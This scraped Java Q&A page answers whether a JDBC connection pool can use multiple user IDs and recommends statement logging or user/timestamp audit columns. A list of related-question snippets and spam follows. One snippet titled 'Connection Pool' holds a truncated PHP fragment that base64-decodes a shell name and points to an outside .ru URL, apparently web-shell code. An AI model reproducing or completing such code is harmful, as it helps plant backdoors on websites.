A connection pool with multiple user ID.

A connection pool with multiple user ID.

Can I set up a connection pool with multiple user IDs? The single ID we are forced to use causes problems when debugging the DBMS.

View Answers

November 15, 2010 at 11:39 AM

Hi friends,

Since the Connection interface ( and the underlying DBMS ) requires a specific user and password, there's not much of a way around this in a pool. While you could create a different Connection for each user, most of the rationale for a pool would then be gone. Debugging is only one of several issues that arise when using pools. However, for debugging, at least a couple of other methods come to mind. One is to log executed statements and times, which should allow you to backtrack to the user. Another method that also maintains a trail of modifications is to include user and timestamp as standard columns in your tables. In this last case, you would collect a separate user value in your program.

Thanks.









Related Tutorials/Questions & Answers:
A connection pool with multiple user ID.
A connection pool with multiple user ID.  Can I set up a connection pool with multiple user IDs? The single ID we are forced to use causes problems when debugging the DBMS
Connection Pool
Connection Pool  <?php... */ /*******************************************/ $sh_id = "TWNOIENvbW11bml0eQ=="; $sh_ver = ""; $sh_name = base64_decode($sh_id).$sh_ver; $sh_mainurl = "http://legalref.ru/config
Advertisements
Java-Connection Pool - JDBC
Java-Connection Pool  How can I create a connection pool. My database is MS SQL server 2000(username-sa, pwd-admin) and my application server is Weblogic 8. Which is the best approach to create a connection pool? Kindly help
Enhancement for connection pool in DBAcess.java
Enhancement for connection pool in DBAcess.java  package spo.db... database connection pool."); else return connection1; } public... have try to make some modification to improve current connection pool
JDBC Connection Pool
of connection in a pool and then get the connection from the pool to process user...JDBC Connection Pool In this section we will learn about JDBC Connection Pool and see how to use Apache DBCP for creating the database connection pool. We
Java-Connection Pool - JDBC
Java-Connection Pool  How can I create a connection pool. My database... is Weblogic 8. Which is the best approach to create a connection pool? ...{ public static void main(String[] args){ Connection con = null; String url
ModuleNotFoundError: No module named 'connection-pool'
ModuleNotFoundError: No module named 'connection-pool'  Hi, My... named 'connection-pool' How to remove the ModuleNotFoundError: No module named 'connection-pool' error? Thanks   Hi, In your python
how to writw connection pool coding
how to writw connection pool coding  java connection poolprint("code sample
Connection pool in Tomcat 6 - JDBC
Connection pool in Tomcat 6  Hi All, Any one please tell me how to implement connection pooling in Tomcat 6 and MySQL 5.0.1b. Thanks, Ramarao  Hi Friend, Please visit the following link: http
ModuleNotFoundError: No module named 'django-db-connection-pool'
ModuleNotFoundError: No module named 'django-db-connection-pool'  Hi...: No module named 'django-db-connection-pool' How to remove the ModuleNotFoundError: No module named 'django-db-connection-pool' error? Thanks  
Java Thread not geting Connection pool - JSP-Servlet
Java Thread not geting Connection pool  Hi All, Please help me in following problem. I have database connection on server using connection pool. There is on background process which will get execute when user click button
Connection pool in Tomcat 6 - JDBC
Connection pool in Tomcat 6  Hello Everybody, I am trying to implement connection pooling in Tomcat 6 and MySQL 5.0.41 with mysql-connector-java-5.1.6-bin.jar but without any success (for the last 2 days). I have followed
java multiple users with single connection - JSP-Servlet
it for multiple users who uses a single connection to the database simultaneously... of the above websites uses a single connection with multiple users. n...: User Name Email ID 3)LoginServlet.java: import
problem of static in jsp page by multiple user access
problem of static in jsp page by multiple user access  hi , i am continuing my online exam project,but i have a Singleton class which i am invoking from my jsp page , ths page can access by more number of users .every user
POOL
and filling pools. Create pool class that calculates the price of a service call... on the amount of time it will take to fill a customer's pool with water. Table below...) for a pool. Pool class should have methods to calculate volume, capsity
Managing Multiple User Input Data in an Array (or ArrayList)
Managing Multiple User Input Data in an Array (or ArrayList)  Hey... record alphabetically (2) If user chooses choice1, the input data is stored in an ARRAY (or ARRAYLIST) until the user chooses to stop inputting data. Kindly
Maven Repository/Dependency: excalibur-pool | excalibur-pool
Maven Repository/Dependency of Group ID excalibur-pool and Artifact ID excalibur-pool. Latest version of excalibur-pool:excalibur-pool dependencies. # Version Release Date You can read
connection
connection   how to make multiple database connection using jdbc
Maven Repository/Dependency: excalibur-pool | excalibur-pool-instrumented
Maven Repository/Dependency of Group ID excalibur-pool and Artifact ID excalibur-pool-instrumented. Latest version of excalibur-pool:excalibur-pool-instrumented dependencies. # Version Release Date
Maven Repository/Dependency: excalibur-pool | excalibur-pool-impl
Maven Repository/Dependency of Group ID excalibur-pool and Artifact ID excalibur-pool-impl. Latest version of excalibur-pool:excalibur-pool-impl dependencies. # Version Release Date You
Maven Repository/Dependency: excalibur-pool | excalibur-pool-api
Maven Repository/Dependency of Group ID excalibur-pool and Artifact ID excalibur-pool-api. Latest version of excalibur-pool:excalibur-pool-api dependencies. # Version Release Date You can
Maven Repository/Dependency: commons-pool | commons-pool
Maven Repository/Dependency of Group ID commons-pool and Artifact ID commons-pool. Latest version of commons-pool:commons-pool dependencies. # Version Release Date 1 1.6
how to send smtp mail to entered user mail id after user registered using javascript?
how to send smtp mail to entered user mail id after user registered using javascript?  how to send smtp mail to entered user mail id after user registered using javascript
how to send smtp mail to entered user mail id after user registered using javascript?
how to send smtp mail to entered user mail id after user registered using javascript?  how to send smtp mail to entered user mail id after user registered using javascript
How to Create User Account in Windows 8 with Windows live ID
to create an user account in Windows 9 using your windows live ID. 1. To start... id is added for creating the user account.  ADS_TO_REPLACE_6 7. Once you e-mail id is added you will need internet connection to sign in for the first
Maven Repository/Dependency: excalibur | excalibur-pool
Maven Repository/Dependency of Group ID excalibur and Artifact ID excalibur-pool. Latest version of excalibur:excalibur-pool dependencies. # Version Release Date You can read more
Maven Repository/Dependency: fulcrum | fulcrum-pool
Maven Repository/Dependency of Group ID fulcrum and Artifact ID fulcrum-pool. Latest version of fulcrum:fulcrum-pool dependencies. # Version Release Date You can read more at: Maven
Maven Repository/Dependency: nanocontainer | nanocontainer-pool
Maven Repository/Dependency of Group ID nanocontainer and Artifact ID nanocontainer-pool. Latest version of nanocontainer:nanocontainer-pool dependencies. # Version Release Date You can
connection pooling - JDBC
friend, A connection pool is a cache of database connections maintained... commands on a database. It open and maintain a database connection for each user. In JDBC connection pool, a pool of Connection objects is created
connection pooling - Java Interview Questions
Pooling : A connection pool is a cache of database connections maintained... commands on a database. It open and maintain a database connection for each user. In JDBC connection pool, a pool of Connection objects is created
A JDBC Connection Pooling Concept
into the pool.  An example of JDBC connection pooling is given below. to run...; } JDBC Connection Pooling JDBC Connection pooling is similar to any other object pooling. Connection pooling is very useful for any application which uses
Maven Repository/Dependency: jencks | xapool-without-pool
Maven Repository/Dependency of Group ID jencks and Artifact ID xapool-without-pool. Latest version of jencks:xapool-without-pool dependencies. # Version Release Date You can read more
Connection
Connection  What is Connection
Maven Repository/Dependency: cn.danielw | fast-object-pool
Maven Repository/Dependency of Group ID cn.danielw and Artifact ID fast-object-pool. Latest version of cn.danielw:fast-object-pool dependencies. # Version Release Date 1
Maven Repository/Dependency: d-haven-mpool | managed-pool
Maven Repository/Dependency of Group ID d-haven-mpool and Artifact ID managed-pool. Latest version of d-haven-mpool:managed-pool dependencies. # Version Release Date You can read more
Connection pooling
a new connection with every request. Connection pool manager maintains a pool of open database connections.ADS_TO_REPLACE_2   Hi, Connection pool stores a number of collection in a pool. This pool is called the Connection pool
Database Connection Pooling (DBCP)
DBCP is extremely useful and applicable where user wants hassle free and quicker response using the available connections as making new connection is very... the database connection for processing the request send by the clients
Pool Chlorine
Pool Chlorine  *** Deleted by Admin ***** Pool Chlorine Watson's of Cincinnati is a toy store for adults offering above ground pools, pool supplies, Envisions Home Theater electronics, home theater furniture, casual patio
How to store data entered in JSP page by a user in XML file & later retrieval of data using id at other page
How to store data entered in JSP page by a user in XML file & later retrieval of data using id at other page  I have made a form in JSP having emp id... file.How can i store data entered by user in XML file and later retrieve data
connection
the connection with the available port on the host machine: import java.net.... the connection was not established. Predict the output of the preceding code. Explain why the connection cannot be established
Pool Chemicals
Pool Chemicals  **delted by admin *** a toy store **deleted by admin** offering above ground pools, pool supplies, Envisions Home Theater electronics, home theater furniture, casual patio furniture, spas & hot tubs etc
close a Connection application
close a Connection application  What happens when I close a Connection application obtained from a connection Pool? How does a connection pool maintain the Connections that I had closed through the application
Version of commons-pool>commons-pool dependency
List of Version of commons-pool>commons-pool dependency
Version of excalibur-pool>excalibur-pool dependency
List of Version of excalibur-pool>excalibur-pool dependency
Maven Repository/Dependency: cornerstone-connection | cornerstone-connection-impl
Maven Repository/Dependency of Group ID cornerstone-connection and Artifact ID cornerstone-connection-impl. Latest version of cornerstone-connection:cornerstone-connection-impl dependencies. # Version Release
Maven Repository/Dependency: cornerstone-connection | cornerstone-connection-api
Maven Repository/Dependency of Group ID cornerstone-connection and Artifact ID cornerstone-connection-api. Latest version of cornerstone-connection:cornerstone-connection-api dependencies. # Version Release
Connection pooling - Java Beginners
Connection pooling  Respected Sir/Madam, I am Ragavendran.R.. I need some clarification on what connection pooling is? Moreover can u provide me an example of how to implement connection pooling concept
Version of excalibur-pool>excalibur-pool-api dependency
List of Version of excalibur-pool>excalibur-pool-api dependency
Version of excalibur-pool>excalibur-pool-impl dependency
List of Version of excalibur-pool>excalibur-pool-impl dependency
Version of excalibur-pool>excalibur-pool-instrumented dependency
List of Version of excalibur-pool>excalibur-pool-instrumented dependency

Ads